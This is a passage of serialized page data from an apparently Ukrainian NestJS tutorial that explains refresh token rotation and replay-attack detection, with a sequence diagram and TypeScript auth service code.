});\n",[5274,10321,10322],{"class":5276,"line":5674},[5274,10323,5577],{"emptyLinePlaceholder":5576},[5274,10325,10326],{"class":5276,"line":5680},[5274,10327,10328],{"class":5280},"  \u002F\u002F 2. Кешуємо у Redis для швидкого доступу\n",[5274,10330,10331,10333,10336,10338,10341,10343,10346,10348,10350,10352,10355,10358,10360,10362,10364,10367,10369],{"class":5276,"line":5685},[5274,10332,5728],{"class":5287},[5274,10334,10335],{"class":5291}," ttl",[5274,10337,5296],{"class":5295},[5274,10339,10340],{"class":5305},"Math",[5274,10342,5302],{"class":5295},[5274,10344,10345],{"class":5311},"floor",[5274,10347,7757],{"class":5295},[5274,10349,5135],{"class":5305},[5274,10351,5302],{"class":5295},[5274,10353,10354],{"class":5311},"getTime",[5274,10356,10357],{"class":5295},"() - ",[5274,10359,6391],{"class":5305},[5274,10361,5302],{"class":5295},[5274,10363,6396],{"class":5311},[5274,10365,10366],{"class":5295},"()) \u002F ",[5274,10368,6422],{"class":6196},[5274,10370,5371],{"class":5295},[5274,10372,10373,10375,10377,10379,10381,10383,10385,10387,10389,10391,10393,10395,10397,10399,10402,10404,10406],{"class":5276,"line":5691},[5274,10374,10264],{"class":5605},[5274,10376,5656],{"class":5287},[5274,10378,5302],{"class":5295},[5274,10380,9549],{"class":5305},[5274,10382,5302],{"class":5295},[5274,10384,9554],{"class":5311},[5274,10386,5414],{"class":5295},[5274,10388,9471],{"class":5358},[5274,10390,8000],{"class":5287},[5274,10392,5132],{"class":5305},[5274,10394,8005],{"class":5287},[5274,10396,8008],{"class":5358},[5274,10398,5129],{"class":5295},[5274,10400,10401],{"class":5305},"ttl",[5274,10403,5129],{"class":5295},[5274,10405,5128],{"class":5305},[5274,10407,5371],{"class":5295},[5274,10409,10410],{"class":5276,"line":5855},[5274,10411,5677],{"class":5295},[5171,10413],{},[5084,10415,10417],{"id":10416},"refresh-token-rotation-захист-від-replay-атак","Refresh Token Rotation: захист від replay атак",[5089,10419,10420,10423,10424,10427,10428,10431],{},[5099,10421,10422],{},"Token Rotation"," — це механізм, де при кожному використанні Refresh Token для отримання нової пари токенів старий Refresh Token ",[5099,10425,10426],{},"автоматично інвалідується",". Це захищає від ",[5099,10429,10430],{},"token replay attacks",", де зловмисник перехоплює Refresh Token та намагається використати його пізніше.",[5257,10433,10435],{"id":10434},"чому-rotation-є-критичним","Чому rotation є критичним?",[5089,10437,10438,10439,5383],{},"Припустимо, застосунок ",[5099,10440,10441],{},"не використовує rotation",[5478,10443,10444,10451,10459,10467],{},[5096,10445,10446,10447,10450],{},"Користувач логінеться та отримує ",[5122,10448,10449],{},"refresh_token_1"," з TTL 7 днів.",[5096,10452,10453,10454,5125,10456,10458],{},"Через 20 хвилин клієнт викликає ",[5122,10455,5155],{},[5122,10457,10449],{}," → отримує новий Access Token.",[5096,10460,10461,6243,10464,10466],{},[5099,10462,10463],{},"Проблема:",[5122,10465,10449],{}," залишається валідним усі 7 днів!",[5096,10468,10469,10470,10472,10473,5485],{},"Якщо зловмисник перехопив ",[5122,10471,10449],{}," (через XSS, MITM, витік бази даних), він може використовувати його ",[5099,10474,10475],{},"паралельно з легітимним користувачем",[10477,10478,10479,10482],"caution",{},[5099,10480,10481],{},"Критична вразливість:"," без rotation один скомпрометований Refresh Token може використовуватися необмежену кількість разів до закінчення TTL. Система не має способу виявити, що токен використовується зловмисником.",[5257,10484,10486],{"id":10485},"принцип-token-rotation","Принцип Token Rotation",[5949,10488,10489],{},[5265,10490,10492],{"className":5953,"code":10491,"language":5949,"meta":5270,"style":5270},"sequenceDiagram\n    participant Client as Легітимний клієнт\n    participant Server as Auth Server\n    participant DB as База даних\n    participant Attacker as Зловмисник\n\n    Note over Client,DB: День 1: Логін\n    Client->>Server: POST \u002Fauth\u002Flogin\n    Server->>DB: Збереження refresh_token_1\n    Server-->>Client: {accessToken, refreshToken: token_1}\n\n    Note over Client,DB: День 2: Оновлення токенів\n    Client->>Server: POST \u002Fauth\u002Frefresh\u003Cbr\u002F>refreshToken: token_1\n    Server->>DB: Перевірка token_1\n    DB-->>Server: Токен валідний\n    Server->>DB: ❌ Видалення token_1\n    Server->>DB: ✅ Збереження token_2\n    Server-->>Client: {accessToken, refreshToken: token_2}\n    \n    Note over Client,Attacker: Зловмисник перехопив token_1\n    \n    Attacker->>Server: POST \u002Fauth\u002Frefresh\u003Cbr\u002F>refreshToken: token_1 (старий!)\n    Server->>DB: Перевірка token_1\n    DB-->>Server: ❌ Токен не знайдено (видалено)\n    Server->>Server: 🚨 ТРИВОГА: Спроба reuse!\n    Server->>DB: ❌ Видалення ВСІХ токенів userId\n    Server-->>Attacker: 401 Unauthorized\n    \n    Note over Client: Легітимний користувач\u003Cbr\u002F>виштовхнутий з системи\n    Client->>Server: Наступний запит з token_2\n    Server->>DB: Перевірка token_2\n    DB-->>Server: ❌ Видалено через reuse detection\n    Server-->>Client: 401 Unauthorized\u003Cbr\u002F>Перенаправлення на логін\n",[5122,10493,10494,10498,10503,10507,10511,10516,10520,10525,10530,10535,10540,10544,10549,10554,10559,10564,10569,10574,10579,10583,10588,10592,10597,10601,10606,10611,10616,10621,10625,10630,10635,10640,10645],{"__ignoreMap":5270},[5274,10495,10496],{"class":5276,"line":5277},[5274,10497,6857],{},[5274,10499,10500],{"class":5276,"line":5284},[5274,10501,10502],{},"    participant Client as Легітимний клієнт\n",[5274,10504,10505],{"class":5276,"line":5318},[5274,10506,6872],{},[5274,10508,10509],{"class":5276,"line":5350},[5274,10510,6877],{},[5274,10512,10513],{"class":5276,"line":5368},[5274,10514,10515],{},"    participant Attacker as Зловмисник\n",[5274,10517,10518],{"class":5276,"line":5470},[5274,10519,5577],{"emptyLinePlaceholder":5576},[5274,10521,10522],{"class":5276,"line":5644},[5274,10523,10524],{},"    Note over Client,DB: День 1: Логін\n",[5274,10526,10527],{"class":5276,"line":5650},[5274,10528,10529],{},"    Client->>Server: POST \u002Fauth\u002Flogin\n",[5274,10531,10532],{"class":5276,"line":5674},[5274,10533,10534],{},"    Server->>DB: Збереження refresh_token_1\n",[5274,10536,10537],{"class":5276,"line":5680},[5274,10538,10539],{},"    Server-->>Client: {accessToken, refreshToken: token_1}\n",[5274,10541,10542],{"class":5276,"line":5685},[5274,10543,5577],{"emptyLinePlaceholder":5576},[5274,10545,10546],{"class":5276,"line":5691},[5274,10547,10548],{},"    Note over Client,DB: День 2: Оновлення токенів\n",[5274,10550,10551],{"class":5276,"line":5855},[5274,10552,10553],{},"    Client->>Server: POST \u002Fauth\u002Frefresh\u003Cbr\u002F>refreshToken: token_1\n",[5274,10555,10556],{"class":5276,"line":5860},[5274,10557,10558],{},"    Server->>DB: Перевірка token_1\n",[5274,10560,10561],{"class":5276,"line":5865},[5274,10562,10563],{},"    DB-->>Server: Токен валідний\n",[5274,10565,10566],{"class":5276,"line":6032},[5274,10567,10568],{},"    Server->>DB: ❌ Видалення token_1\n",[5274,10570,10571],{"class":5276,"line":6038},[5274,10572,10573],{},"    Server->>DB: ✅ Збереження token_2\n",[5274,10575,10576],{"class":5276,"line":6044},[5274,10577,10578],{},"    Server-->>Client: {accessToken, refreshToken: token_2}\n",[5274,10580,10581],{"class":5276,"line":6050},[5274,10582,5986],{},[5274,10584,10585],{"class":5276,"line":6947},[5274,10586,10587],{},"    Note over Client,Attacker: Зловмисник перехопив token_1\n",[5274,10589,10590],{"class":5276,"line":6953},[5274,10591,5986],{},[5274,10593,10594],{"class":5276,"line":6959},[5274,10595,10596],{},"    Attacker->>Server: POST \u002Fauth\u002Frefresh\u003Cbr\u002F>refreshToken: token_1 (старий!)\n",[5274,10598,10599],{"class":5276,"line":6965},[5274,10600,10558],{},[5274,10602,10603],{"class":5276,"line":6971},[5274,10604,10605],{},"    DB-->>Server: ❌ Токен не знайдено (видалено)\n",[5274,10607,10608],{"class":5276,"line":6977},[5274,10609,10610],{},"    Server->>Server: 🚨 ТРИВОГА: Спроба reuse!\n",[5274,10612,10613],{"class":5276,"line":6983},[5274,10614,10615],{},"    Server->>DB: ❌ Видалення ВСІХ токенів userId\n",[5274,10617,10618],{"class":5276,"line":6989},[5274,10619,10620],{},"    Server-->>Attacker: 401 Unauthorized\n",[5274,10622,10623],{"class":5276,"line":7514},[5274,10624,5986],{},[5274,10626,10627],{"class":5276,"line":7520},[5274,10628,10629],{},"    Note over Client: Легітимний користувач\u003Cbr\u002F>виштовхнутий з системи\n",[5274,10631,10632],{"class":5276,"line":7526},[5274,10633,10634],{},"    Client->>Server: Наступний запит з token_2\n",[5274,10636,10637],{"class":5276,"line":7919},[5274,10638,10639],{},"    Server->>DB: Перевірка token_2\n",[5274,10641,10642],{"class":5276,"line":7932},[5274,10643,10644],{},"    DB-->>Server: ❌ Видалено через reuse detection\n",[5274,10646,10647],{"class":5276,"line":7938},[5274,10648,10649],{},"    Server-->>Client: 401 Unauthorized\u003Cbr\u002F>Перенаправлення на логін\n",[5089,10651,10652],{},[5099,10653,10654],{},"Механізм виявлення компрометації:",[5478,10656,10657,10672,10681,10688,10695],{},[5096,10658,10659,10660,10663,10664,6256,10667,6243,10670,5302],{},"Легітимний користувач використовує ",[5122,10661,10662],{},"token_1"," → сервер видає ",[5122,10665,10666],{},"token_2",[5099,10668,10669],{},"видаляє",[5122,10671,10662],{},[5096,10673,10674,10675,10677,10678,5302],{},"Зловмисник намагається використати ",[5122,10676,10662],{}," → сервер бачить, що токен ",[5099,10679,10680],{},"вже був використаний",[5096,10682,10683,10684,10687],{},"Сервер розуміє, що ",[5099,10685,10686],{},"або користувач, або зловмисник мають копію токена"," → це ознака компрометації.",[5096,10689,10690,10691,10694],{},"Сервер ",[5099,10692,10693],{},"негайно інвалідує всі Refresh Tokens користувача"," на всіх пристроях.",[5096,10696,10697,10698,10701],{},"Користувач та зловмисник отримують ",[5122,10699,10700],{},"401 Unauthorized"," → користувач змушений увійти повторно.",[5257,10703,10705],{"id":10704},"реалізація-token-rotation","Реалізація Token Rotation",[5265,10707,10709],{"className":5267,"code":10708,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fauth.service.ts\nimport { Injectable, UnauthorizedException } from '@nestjs\u002Fcommon';\nimport { JwtService } from '@nestjs\u002Fjwt';\nimport { InjectRepository } from '@nestjs\u002Ftypeorm';\nimport { Repository } from 'typeorm';\nimport { RefreshToken } from '.\u002Fentities\u002Frefresh-token.entity';\nimport { randomUUID } from 'crypto';\n\n@Injectable()\nexport class AuthService {\n  private readonly ACCESS_TOKEN_TTL = '15m';\n  private readonly REFRESH_TOKEN_TTL_DAYS = 7;\n\n  constructor(\n    private readonly jwtService: JwtService,\n    @InjectRepository(RefreshToken)\n    private readonly refreshTokenRepo: Repository\u003CRefreshToken>,\n  ) {}\n\n  \u002F**\n   * Генерація пари токенів при логіні\n   *\u002F\n  async generateTokenPair(userId: string, email: string, roles: string[]) {\n    const accessToken = this.jwtService.sign({\n      sub: userId,\n      email,\n      roles,\n      tokenType: 'access',\n    }, {\n      expiresIn: this.ACCESS_TOKEN_TTL,\n    });\n\n    const refreshToken = randomUUID();\n    const expiresAt = new Date();\n    expiresAt.setDate(expiresAt.getDate() + this.REFRESH_TOKEN_TTL_DAYS);\n\n    \u002F\u002F Зберігаємо Refresh Token у БД\n    await this.refreshTokenRepo.save({\n      user: { id: userId },\n      token: refreshToken,\n      expiresAt,\n    });\n\n    return {\n      accessToken,\n      refreshToken,\n      expiresIn: 900, \u002F\u002F 15 хвилин у секундах\n    };\n  }\n\n  \u002F**\n   * Оновлення токенів з rotation\n   *\u002F\n  async refreshTokens(oldRefreshToken: string, ipAddress?: string) {\n    \u002F\u002F 1. Пошук токена у БД\n    const tokenRecord = await this.refreshTokenRepo.findOne({\n      where: { token: oldRefreshToken },\n      relations: ['user'],\n    });\n\n    if (!tokenRecord) {\n      \u002F\u002F ❌ Токен не знайдено — можливо, вже був використаний (token reuse!)\n      await this.handleTokenReuse(oldRefreshToken, ipAddress);\n      throw new UnauthorizedException('Invalid refresh token');\n    }\n\n    \u002F\u002F 2. Перевірка терміну дії\n    if (new Date() > tokenRecord.expiresAt) {\n      await this.refreshTokenRepo.delete(tokenRecord.id);\n      throw new UnauthorizedException('Refresh token expired');\n    }\n\n    const user = tokenRecord.user;\n\n    \u002F\u002F 3. ❌ ВИДАЛЕННЯ СТАРОГО ТОКЕНА (ключовий крок rotation!)\n    await this.refreshTokenRepo.delete(tokenRecord.id);\n\n    \u002F\u002F 4. ✅ ГЕНЕРАЦІЯ НОВОЇ ПАРИ ТОКЕНІВ\n    const newAccessToken = this.jwtService.sign({\n      sub: user.id,\n      email: user.email,\n      roles: user.roles,\n      tokenType: 'access',\n    }, {\n      expiresIn: this.ACCESS_TOKEN_TTL,\n    });\n\n    const newRefreshToken = randomUUID();\n    const newExpiresAt = new Date();\n    newExpiresAt.setDate(newExpiresAt.getDate() + this.REFRESH_TOKEN_TTL_DAYS);\n\n    \u002F\u002F 5. Збереження нового Refresh Token\n    await this.refreshTokenRepo.save({\n      user: { id: user.id },\n      token: newRefreshToken,\n      expiresAt: newExpiresAt,\n      lastUsedAt: new Date(),\n      ipAddress,\n    });\n\n    return {\n      accessToken: newAccessToken,\n      refreshToken: newRefreshToken,\n      expiresIn: 900,\n    };\n  }\n\n  \u002F**\n   * Обробка спроби повторного використання токена\n   *\u002F\n  private async handleTokenReuse(token: string, ipAddress?: string) {\n    \u002F\u002F Пошук у історії використаних токенів (якщо зберігаємо історію)\n    const historicalToken = await this.refreshTokenRepo.findOne({\n      where: { token },\n      withDeleted: true, \u002F\u002F Включає видалені записи\n      relations: ['user'],\n    });\n\n    if (historicalToken) {\n      console.error(`🚨 Token reuse detected for user ${historicalToken.user.id} from IP ${ipAddress}`);\n\n      \u002F\u002F Інвалідація ВСІХ токенів користувача\n      await this.refreshTokenRepo.delete({ user: { id: historicalToken.user.id } });\n\n      \u002F\u002F Опціонально: надіслати email-сповіщення користувачеві\n      \u002F\u002F await this.emailService.sendSecurityAlert(historicalToken.user.email, ipAddress);\n\n      \u002F\u002F Опціонально: логування у систему моніторингу безпеки\n      \u002F\u002F await this.securityLogger.logTokenReuse(historicalToken.user.id, token, ipAddress);\n    }\n  }\n}\n",[5122,10710,10711,10716,10737,10755,10773,10790,10808,10824,10828,10836,10847,10864,10879,10883,10889,10905,10918,10938,10943,10947,10951,10956,10960,10994,11014,11024,11031,11038,11048,11053,11067,11071,11075,11087,11102,11131,11135,11140,11157,11171,11180,11187,11191,11195,11201,11208,11215,11227,11232,11236,11240,11244,11249,11253,11280,11285,11309,11323,11336,11340,11344,11355,11360,11381,11397,11401,11405,11410,11431,11456,11471,11475,11479,11495,11499,11504,11528,11532,11537,11558,11571,11585,11599,11608,11613,11626,11631,11636,11650,11666,11695,11700,11706,11723,11740,11749,11759,11771,11779,11784,11789,11796,11806,11816,11825,11830,11835,11840,11845,11851,11856,11885,11891,11915,11926,11939,11950,11955,11960,11972,12015,12020,12026,12063,12068,12074,12080,12085,12091,12097,12102,12107],{"__ignoreMap":5270},[5274,10712,10713],{"class":5276,"line":5277},[5274,10714,10715],{"class":5280},"\u002F\u002F src\u002Fauth\u002Fauth.service.ts\n",[5274,10717,10718,10720,10722,10724,10726,10729,10731,10733,10735],{"class":5276,"line":5284},[5274,10719,6282],{"class":5605},[5274,10721,6285],{"class":5295},[5274,10723,9286],{"class":5305},[5274,10725,5129],{"class":5295},[5274,10727,10728],{"class":5305},"UnauthorizedException",[5274,10730,5362],{"class":5295},[5274,10732,6293],{"class":5605},[5274,10734,9293],{"class":5358},[5274,10736,5852],{"class":5295},[5274,10738,10739,10741,10743,10746,10748,10750,10753],{"class":5276,"line":5318},[5274,10740,6282],{"class":5605},[5274,10742,6285],{"class":5295},[5274,10744,10745],{"class":5305},"JwtService",[5274,10747,5362],{"class":5295},[5274,10749,6293],{"class":5605},[5274,10751,10752],{"class":5358}," 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'.\u002Fentities\u002Frefresh-token.entity'",[5274,10807,5852],{"class":5295},[5274,10809,10810,10812,10814,10816,10818,10820,10822],{"class":5276,"line":5644},[5274,10811,6282],{"class":5605},[5274,10813,6285],{"class":5295},[5274,10815,6288],{"class":5305},[5274,10817,5362],{"class":5295},[5274,10819,6293],{"class":5605},[5274,10821,6296],{"class":5358},[5274,10823,5852],{"class":5295},[5274,10825,10826],{"class":5276,"line":5650},[5274,10827,5577],{"emptyLinePlaceholder":5576},[5274,10829,10830,10832,10834],{"class":5276,"line":5674},[5274,10831,8895],{"class":5295},[5274,10833,9286],{"class":5311},[5274,10835,9014],{"class":5295},[5274,10837,10838,10840,10842,10845],{"class":5276,"line":5680},[5274,10839,8490],{"class":5605},[5274,10841,8913],{"class":5287},[5274,10843,10844],{"class":5567}," AuthService",[5274,10846,7239],{"class":5295},[5274,10848,10849,10852,10854,10857,10859,10862],{"class":5276,"line":5685},[5274,10850,10851],{"class":5287},"  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{}\n",[5274,10944,10945],{"class":5276,"line":6050},[5274,10946,5577],{"emptyLinePlaceholder":5576},[5274,10948,10949],{"class":5276,"line":6947},[5274,10950,9389],{"class":5280},[5274,10952,10953],{"class":5276,"line":6953},[5274,10954,10955],{"class":5280},"   * Генерація пари токенів при логіні\n",[5274,10957,10958],{"class":5276,"line":6959},[5274,10959,9399],{"class":5280},[5274,10961,10962,10964,10967,10969,10971,10973,10975,10977,10979,10981,10983,10985,10987,10989,10991],{"class":5276,"line":6965},[5274,10963,7839],{"class":5287},[5274,10965,10966],{"class":5311}," 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userId",[5274,11023,5443],{"class":5295},[5274,11025,11026,11029],{"class":5276,"line":6983},[5274,11027,11028],{"class":5305},"      email",[5274,11030,5443],{"class":5295},[5274,11032,11033,11036],{"class":5276,"line":6989},[5274,11034,11035],{"class":5305},"      roles",[5274,11037,5443],{"class":5295},[5274,11039,11040,11043,11046],{"class":5276,"line":7514},[5274,11041,11042],{"class":5305},"      tokenType:",[5274,11044,11045],{"class":5358}," 'access'",[5274,11047,5443],{"class":5295},[5274,11049,11050],{"class":5276,"line":7520},[5274,11051,11052],{"class":5295},"    }, {\n",[5274,11054,11055,11058,11060,11062,11065],{"class":5276,"line":7526},[5274,11056,11057],{"class":5305},"      expiresIn:",[5274,11059,5656],{"class":5287},[5274,11061,5302],{"class":5295},[5274,11063,11064],{"class":5291},"ACCESS_TOKEN_TTL",[5274,11066,5443],{"class":5295},[5274,11068,11069],{"class":5276,"line":7919},[5274,11070,9528],{"class":5295},[5274,11072,11073],{"class":5276,"line":7932},[5274,11074,5577],{"emptyLinePlaceholder":5576},[5274,11076,11077,11079,11081,11083,11085],{"class":5276,"line":7938},[5274,11078,7855],{"class":5287},[5274,11080,6314],{"class":5291},[5274,11082,5296],{"class":5295},[5274,11084,6288],{"class":5311},[5274,11086,6321],{"class":5295},[5274,11088,11089,11091,11094,11096,11098,11100],{"class":5276,"line":7960},[5274,11090,7855],{"class":5287},[5274,11092,11093],{"class":5291}," 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БД\n",[5274,11141,11142,11144,11146,11148,11151,11153,11155],{"class":5276,"line":8035},[5274,11143,9542],{"class":5605},[5274,11145,5656],{"class":5287},[5274,11147,5302],{"class":5295},[5274,11149,11150],{"class":5305},"refreshTokenRepo",[5274,11152,5302],{"class":5295},[5274,11154,6351],{"class":5311},[5274,11156,6354],{"class":5295},[5274,11158,11159,11162,11164,11167,11169],{"class":5276,"line":8041},[5274,11160,11161],{"class":5305},"      user:",[5274,11163,6285],{"class":5295},[5274,11165,11166],{"class":5305},"id:",[5274,11168,11021],{"class":5305},[5274,11170,5347],{"class":5295},[5274,11172,11173,11176,11178],{"class":5276,"line":8047},[5274,11174,11175],{"class":5305},"      token:",[5274,11177,6314],{"class":5305},[5274,11179,5443],{"class":5295},[5274,11181,11182,11185],{"class":5276,"line":8052},[5274,11183,11184],{"class":5305},"      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};\n",[5274,11233,11234],{"class":5276,"line":8139},[5274,11235,5647],{"class":5295},[5274,11237,11238],{"class":5276,"line":8155},[5274,11239,5577],{"emptyLinePlaceholder":5576},[5274,11241,11242],{"class":5276,"line":8161},[5274,11243,9389],{"class":5280},[5274,11245,11246],{"class":5276,"line":8166},[5274,11247,11248],{"class":5280},"   * Оновлення токенів з rotation\n",[5274,11250,11251],{"class":5276,"line":8189},[5274,11252,9399],{"class":5280},[5274,11254,11255,11257,11260,11262,11265,11267,11269,11271,11273,11276,11278],{"class":5276,"line":8194},[5274,11256,7839],{"class":5287},[5274,11258,11259],{"class":5311}," refreshTokens",[5274,11261,5414],{"class":5295},[5274,11263,11264],{"class":5305},"oldRefreshToken",[5274,11266,5595],{"class":5295},[5274,11268,5568],{"class":5567},[5274,11270,5129],{"class":5295},[5274,11272,8542],{"class":5305},[5274,11274,11275],{"class":5295},"?: ",[5274,11277,5568],{"class":5567},[5274,11279,5600],{"class":5295},[5274,11281,11282],{"class":5276,"line":8200},[5274,11283,11284],{"class":5280},"    \u002F\u002F 1. Пошук токена у БД\n",[5274,11286,11287,11289,11292,11294,11296,11298,11300,11302,11304,11307],{"class":5276,"line":8222},[5274,11288,7855],{"class":5287},[5274,11290,11291],{"class":5291}," tokenRecord",[5274,11293,5296],{"class":5295},[5274,11295,5770],{"class":5605},[5274,11297,5656],{"class":5287},[5274,11299,5302],{"class":5295},[5274,11301,11150],{"class":5305},[5274,11303,5302],{"class":5295},[5274,11305,11306],{"class":5311},"findOne",[5274,11308,6354],{"class":5295},[5274,11310,11311,11314,11316,11318,11321],{"class":5276,"line":8263},[5274,11312,11313],{"class":5305},"      where:",[5274,11315,6285],{"class":5295},[5274,11317,5462],{"class":5305},[5274,11319,11320],{"class":5305}," oldRefreshToken",[5274,11322,5347],{"class":5295},[5274,11324,11325,11328,11331,11334],{"class":5276,"line":8268},[5274,11326,11327],{"class":5305},"      relations:",[5274,11329,11330],{"class":5295}," [",[5274,11332,11333],{"class":5358},"'user'",[5274,11335,6174],{"class":5295},[5274,11337,11338],{"class":5276,"line":8274},[5274,11339,9528],{"class":5295},[5274,11341,11342],{"class":5276,"line":8286},[5274,11343,5577],{"emptyLinePlaceholder":5576},[5274,11345,11346,11348,11350,11353],{"class":5276,"line":8291},[5274,11347,7883],{"class":5605},[5274,11349,5805],{"class":5295},[5274,11351,11352],{"class":5305},"tokenRecord",[5274,11354,5600],{"class":5295},[5274,11356,11357],{"class":5276,"line":8297},[5274,11358,11359],{"class":5280},"      \u002F\u002F ❌ Токен не знайдено — можливо, вже був використаний (token reuse!)\n",[5274,11361,11362,11364,11366,11368,11371,11373,11375,11377,11379],{"class":5276,"line":8325},[5274,11363,9935],{"class":5605},[5274,11365,5656],{"class":5287},[5274,11367,5302],{"class":5295},[5274,11369,11370],{"class":5311},"handleTokenReuse",[5274,11372,5414],{"class":5295},[5274,11374,11264],{"class":5305},[5274,11376,5129],{"class":5295},[5274,11378,8542],{"class":5305},[5274,11380,5371],{"class":5295},[5274,11382,11383,11386,11388,11390,11392,11395],{"class":5276,"line":8338},[5274,11384,11385],{"class":5605},"      throw",[5274,11387,5631],{"class":5287},[5274,11389,5634],{"class":5311},[5274,11391,5414],{"class":5295},[5274,11393,11394],{"class":5358},"'Invalid refresh token'",[5274,11396,5371],{"class":5295},[5274,11398,11399],{"class":5276,"line":8354},[5274,11400,7131],{"class":5295},[5274,11402,11403],{"class":5276,"line":8360},[5274,11404,5577],{"emptyLinePlaceholder":5576},[5274,11406,11407],{"class":5276,"line":8376},[5274,11408,11409],{"class":5280},"    \u002F\u002F 2. Перевірка терміну дії\n",[5274,11411,11412,11414,11416,11418,11420,11423,11425,11427,11429],{"class":5276,"line":8399},[5274,11413,7883],{"class":5605},[5274,11415,5509],{"class":5295},[5274,11417,5558],{"class":5287},[5274,11419,6386],{"class":5311},[5274,11421,11422],{"class":5295},"() > ",[5274,11424,11352],{"class":5305},[5274,11426,5302],{"class":5295},[5274,11428,5135],{"class":5305},[5274,11430,5600],{"class":5295},[5274,11432,11433,11435,11437,11439,11441,11443,11446,11448,11450,11452,11454],{"class":5276,"line":8417},[5274,11434,9935],{"class":5605},[5274,11436,5656],{"class":5287},[5274,11438,5302],{"class":5295},[5274,11440,11150],{"class":5305},[5274,11442,5302],{"class":5295},[5274,11444,11445],{"class":5311},"delete",[5274,11447,5414],{"class":5295},[5274,11449,11352],{"class":5305},[5274,11451,5302],{"class":5295},[5274,11453,5332],{"class":5305},[5274,11455,5371],{"class":5295},[5274,11457,11458,11460,11462,11464,11466,11469],{"class":5276,"line":8427},[5274,11459,11385],{"class":5605},[5274,11461,5631],{"class":5287},[5274,11463,5634],{"class":5311},[5274,11465,5414],{"class":5295},[5274,11467,11468],{"class":5358},"'Refresh token expired'",[5274,11470,5371],{"class":5295},[5274,11472,11473],{"class":5276,"line":8439},[5274,11474,7131],{"class":5295},[5274,11476,11477],{"class":5276,"line":8444},[5274,11478,5577],{"emptyLinePlaceholder":5576},[5274,11480,11481,11483,11485,11487,11489,11491,11493],{"class":5276,"line":8449},[5274,11482,7855],{"class":5287},[5274,11484,5327],{"class":5291},[5274,11486,5296],{"class":5295},[5274,11488,11352],{"class":5305},[5274,11490,5302],{"class":5295},[5274,11492,5808],{"class":5305},[5274,11494,5852],{"class":5295},[5274,11496,11497],{"class":5276,"line":8454},[5274,11498,5577],{"emptyLinePlaceholder":5576},[5274,11500,11501],{"class":5276,"line":8472},[5274,11502,11503],{"class":5280},"    \u002F\u002F 3. ❌ ВИДАЛЕННЯ СТАРОГО ТОКЕНА (ключовий крок rotation!)\n",[5274,11505,11506,11508,11510,11512,11514,11516,11518,11520,11522,11524,11526],{"class":5276,"line":8477},[5274,11507,9542],{"class":5605},[5274,11509,5656],{"class":5287},[5274,11511,5302],{"class":5295},[5274,11513,11150],{"class":5305},[5274,11515,5302],{"class":5295},[5274,11517,11445],{"class":5311},[5274,11519,5414],{"class":5295},[5274,11521,11352],{"class":5305},[5274,11523,5302],{"class":5295},[5274,11525,5332],{"class":5305},[5274,11527,5371],{"class":5295},[5274,11529,11530],{"class":5276,"line":8482},[5274,11531,5577],{"emptyLinePlaceholder":5576},[5274,11533,11534],{"class":5276,"line":8487},[5274,11535,11536],{"class":5280},"    \u002F\u002F 4. ✅ ГЕНЕРАЦІЯ НОВОЇ ПАРИ ТОКЕНІВ\n",[5274,11538,11540,11542,11544,11546,11548,11550,11552,11554,11556],{"class":5276,"line":11539},79,[5274,11541,7855],{"class":5287},[5274,11543,8171],{"class":5291},[5274,11545,5296],{"class":5295},[5274,11547,5299],{"class":5287},[5274,11549,5302],{"class":5295},[5274,11551,5306],{"class":5305},[5274,11553,5302],{"class":5295},[5274,11555,5312],{"class":5311},[5274,11557,6354],{"class":5295},[5274,11559,11561,11563,11565,11567,11569],{"class":5276,"line":11560},80,[5274,11562,11018],{"class":5305},[5274,11564,5327],{"class":5305},[5274,11566,5302],{"class":5295},[5274,11568,5332],{"class":5305},[5274,11570,5443],{"class":5295},[5274,11572,11574,11577,11579,11581,11583],{"class":5276,"line":11573},81,[5274,11575,11576],{"class":5305},"      email:",[5274,11578,5327],{"class":5305},[5274,11580,5302],{"class":5295},[5274,11582,5344],{"class":5305},[5274,11584,5443],{"class":5295},[5274,11586,11588,11591,11593,11595,11597],{"class":5276,"line":11587},82,[5274,11589,11590],{"class":5305},"      roles:",[5274,11592,5327],{"class":5305},[5274,11594,5302],{"class":5295},[5274,11596,6109],{"class":5305},[5274,11598,5443],{"class":5295},[5274,11600,11602,11604,11606],{"class":5276,"line":11601},83,[5274,11603,11042],{"class":5305},[5274,11605,11045],{"class":5358},[5274,11607,5443],{"class":5295},[5274,11609,11611],{"class":5276,"line":11610},84,[5274,11612,11052],{"class":5295},[5274,11614,11616,11618,11620,11622,11624],{"class":5276,"line":11615},85,[5274,11617,11057],{"class":5305},[5274,11619,5656],{"class":5287},[5274,11621,5302],{"class":5295},[5274,11623,11064],{"class":5291},[5274,11625,5443],{"class":5295},[5274,11627,11629],{"class":5276,"line":11628},86,[5274,11630,9528],{"class":5295},[5274,11632,11634],{"class":5276,"line":11633},87,[5274,11635,5577],{"emptyLinePlaceholder":5576},[5274,11637,11639,11641,11644,11646,11648],{"class":5276,"line":11638},88,[5274,11640,7855],{"class":5287},[5274,11642,11643],{"class":5291}," newRefreshToken",[5274,11645,5296],{"class":5295},[5274,11647,6288],{"class":5311},[5274,11649,6321],{"class":5295},[5274,11651,11653,11655,11658,11660,11662,11664],{"class":5276,"line":11652},89,[5274,11654,7855],{"class":5287},[5274,11656,11657],{"class":5291}," newExpiresAt",[5274,11659,5296],{"class":5295},[5274,11661,5558],{"class":5287},[5274,11663,6386],{"class":5311},[5274,11665,6321],{"class":5295},[5274,11667,11669,11672,11674,11676,11678,11681,11683,11685,11687,11689,11691,11693],{"class":5276,"line":11668},90,[5274,11670,11671],{"class":5305},"    newExpiresAt",[5274,11673,5302],{"class":5295},[5274,11675,11110],{"class":5311},[5274,11677,5414],{"class":5295},[5274,11679,11680],{"class":5305},"newExpiresAt",[5274,11682,5302],{"class":5295},[5274,11684,11119],{"class":5311},[5274,11686,6399],{"class":5295},[5274,11688,5299],{"class":5287},[5274,11690,5302],{"class":5295},[5274,11692,11128],{"class":5291},[5274,11694,5371],{"class":5295},[5274,11696,11698],{"class":5276,"line":11697},91,[5274,11699,5577],{"emptyLinePlaceholder":5576},[5274,11701,11703],{"class":5276,"line":11702},92,[5274,11704,11705],{"class":5280},"    \u002F\u002F 5. Збереження нового Refresh 